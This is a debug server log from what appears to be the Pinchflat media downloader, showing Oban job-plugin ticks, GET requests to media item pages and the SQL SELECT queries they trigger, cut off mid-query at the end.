{"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:46.531 [info] {"source":"oban","duration":1592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:00.921 [info] {"source":"oban","duration":609,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:36:16.533 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:46.535 [info] {"source":"oban","duration":1689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:00.922 [info] {"source":"oban","duration":543,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:37:16.537 [info] {"source":"oban","duration":1826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:46.541 [info] {"source":"oban","duration":1952,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:00.923 [info] {"source":"oban","duration":711,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:38:16.544 [info] {"source":"oban","duration":1912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:46.546 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:00.925 [info] {"source":"oban","duration":502,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:39:16.548 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:46.551 [info] {"source":"oban","duration":2181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:00.926 [info] {"source":"oban","duration":433,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:40:16.553 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:46.556 [info] {"source":"oban","duration":2000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:00.927 [info] {"source":"oban","duration":543,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:41:16.559 [info] {"source":"oban","duration":2548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:46.562 [info] {"source":"oban","duration":2164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:00.929 [info] {"source":"oban","duration":590,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:42:16.565 [info] {"source":"oban","duration":1943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:46.570 [info] {"source":"oban","duration":3920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:00.946 [info] {"source":"oban","duration":331,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:43:16.572 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:46.574 [info] {"source":"oban","duration":1126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:00.947 [info] {"source":"oban","duration":449,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:44:16.578 [info] {"source":"oban","duration":3069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:46.580 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:56.232 [info] GET /sources/2/media/26533/edit 18:44:56.232 [info] GET /sources/2/media/24933/edit 18:44:56.232 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "24933", "source_id" => "2"} Pipelines: [:browser] 18:44:56.232 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "26533", "source_id" => "2"} Pipelines: [:browser] 18:44:56.234 [debug] QUERY OK source="media_items" db=1.6ms idle=755.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [26533] 18:44:56.237 [debug] QUERY OK source="media_items" db=3.9ms idle=1326.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [24933] 18:44:56.238 [debug] QUERY OK source="settings" db=1.5ms queue=0.5ms idle=522.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:56.239 [debug] QUERY OK source="settings" db=0.9ms idle=525.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:56.241 [debug] QUERY OK source="settings" db=1.3ms idle=526.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:56.243 [debug] QUERY OK source="settings" db=2.6ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:56.244 [debug] QUERY OK source="settings" db=2.0ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:56.246 [info] Sent 200 in 14ms 18:44:56.247 [debug] QUERY OK source="settings" db=2.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:56.250 [info] Sent 200 in 18ms 18:44:57.041 [info] GET /sources/2/media/27331/edit 18:44:57.041 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "27331", "source_id" => "2"} Pipelines: [:browser] 18:44:57.043 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=800.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [27331] 18:44:57.045 [debug] QUERY OK source="settings" db=0.8ms idle=800.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:57.046 [debug] QUERY OK source="settings" db=0.9ms idle=801.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:57.048 [debug] QUERY OK source="settings" db=0.8ms idle=799.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:57.052 [info] Sent 200 in 10ms 18:45:00.948 [info] {"source":"oban","duration":533,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:45:16.582 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:33.439 [info] GET /sources/2/media/28128/edit 18:45:33.440 [info] GET /sources/2/media/25733/edit 18:45:33.440 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "25733", "source_id" => "2"} Pipelines: [:browser] 18:45:33.439 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "28128", "source_id" => "2"} Pipelines: [:browser] 18:45:33.445 [debug] QUERY OK source="media_items" db=1.5ms queue=3.0ms idle=1725.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [25733] 18:45:33.446 [debug] QUERY OK source="media_items" db=2.6ms queue=2.9ms idle=1725.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [28128] 18:45:33.449 [debug] QUERY OK source="settings" db=1.9ms idle=858.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:45:33.451 [debug] QUERY OK source="settings" db=2.3ms idle=734.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:45:33.452 [debug] QUERY OK source="settings" db=4.7ms queue=0.1ms idle=732.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:45:33.453 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:45:33.453 [debug] QUERY OK source="settings" db=0.6ms queue=0.4ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:45:33.455 [debug] QUERY OK source="settings" db=0.4ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:45:33.457 [info] Sent 200 in 17ms 18:45:33.459 [info] Sent 200 in 19ms 18:45:33.840 [info] GET /sources/2/media/21741/edit 18:45:33.840 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "21741", "source_id" => "2"} Pipelines: [:browser] 18:45:33.842 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=388.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [21741] 18:45:33.843 [debug] QUERY OK source="settings" db=1.0ms idle=389.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:45:33.845 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=390.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:45:33.847 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=390.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:45:33.849 [info] Sent 200 in 9ms 18:45:46.584 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:00.949 [info] {"source":"oban","duration":402,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:46:16.586 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:46.589 [info] {"source":"oban","duration":2475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:59.636 [info] GET /sources/2/media/24133/edit 18:46:59.637 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "24133", "source_id" => "2"} Pipelines: [:browser] 18:46:59.637 [info] GET /sources/2/media/22541/edit 18:46:59.639 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "22541", "source_id" => "2"} Pipelines: [:browser] 18:46:59.640 [debug] QUERY OK source="media_items" db=1.1ms queue=0.9ms idle=1922.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [24133] 18:46:59.641 [debug] QUERY OK source="media_items" db=0.9ms queue=0.3ms idle=1924.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [22541] 18:46:59.643 [debug] QUERY OK source="settings" db=1.9ms idle=1811.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:46:59.644 [debug] QUERY OK source="settings" db=1.0ms idle=927.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:46:59.645 [debug] QUERY OK source="settings" db=1.1ms queue=0.2ms idle=811.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:46:59.647 [debug] QUERY OK source="settings" db=1.6ms queue=0.8ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:46:59.647 [debug] QUERY OK source="settings" db=0.9ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:46:59.651 [debug] QUERY OK source="settings" db=3.4ms queue=0.1ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:46:59.652 [info] Sent 200 in 14ms 18:46:59.654 [info] Sent 200 in 17ms 18:47:00.264 [info] GET /sources/2/media/23338/edit 18:47:00.264 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "23338", "source_id" => "2"} Pipelines: [:browser] 18:47:00.265 [debug] QUERY OK source="media_items" db=0.5ms idle=617.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [23338] 18:47:00.267 [debug] QUERY OK source="settings" db=1.6ms idle=618.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:47:00.270 [debug] QUERY OK source="settings" db=1.0ms queue=0.3ms idle=617.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:47:00.272 [debug] QUERY OK source="settings" db=0.6ms idle=436.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:47:00.274 [info] Sent 200 in 10ms 18:47:00.950 [info] {"source":"oban","duration":513,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:47:16.592 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:46.596 [info] {"source":"oban","duration":2452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:00.951 [info] {"source":"oban","duration":322,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:48:14.912 [info] GET /sources/2/media/23338 18:48:14.912 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "23338", "source_id" => "2"} Pipelines: [:browser] 18:48:14.912 [info] GET /sources/2/media/22541 18:48:14.913 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "22541", "source_id" => "2"} Pipelines: [:browser] 18:48:14.915 [debug] QUERY OK source="media_items" db=1.8ms idle=1197.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [23338] 18:48:14.916 [debug] QUERY OK source="media_items" db=1.6ms idle=1199.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [22541] 18:48:14.920 [debug] QUERY OK source="sources" db=2.2ms queue=0.2ms idle=203.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:48:14.922 [debug] QUERY OK source="sources" db=3.4ms queue=0.1ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:48:14.953 [debug] QUERY OK source="tasks" db=34.3ms queue=0.3ms idle=846.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [23338] 18:48:14.954 [debug] QUERY OK source="tasks" db=35.1ms idle=1202.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [22541] 18:48:14.954 [debug] QUERY OK source="settings" db=0.9ms idle=37.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:14.955 [debug] QUERY OK source="settings" db=0.4ms queue=0.4ms idle=34.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:14.956 [debug] QUERY OK source="settings" db=1.5ms queue=0.2ms idle=33.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:14.957 [debug] QUERY OK source="settings" db=1.4ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:14.959 [debug] QUERY OK source="settings" db=1.5ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", 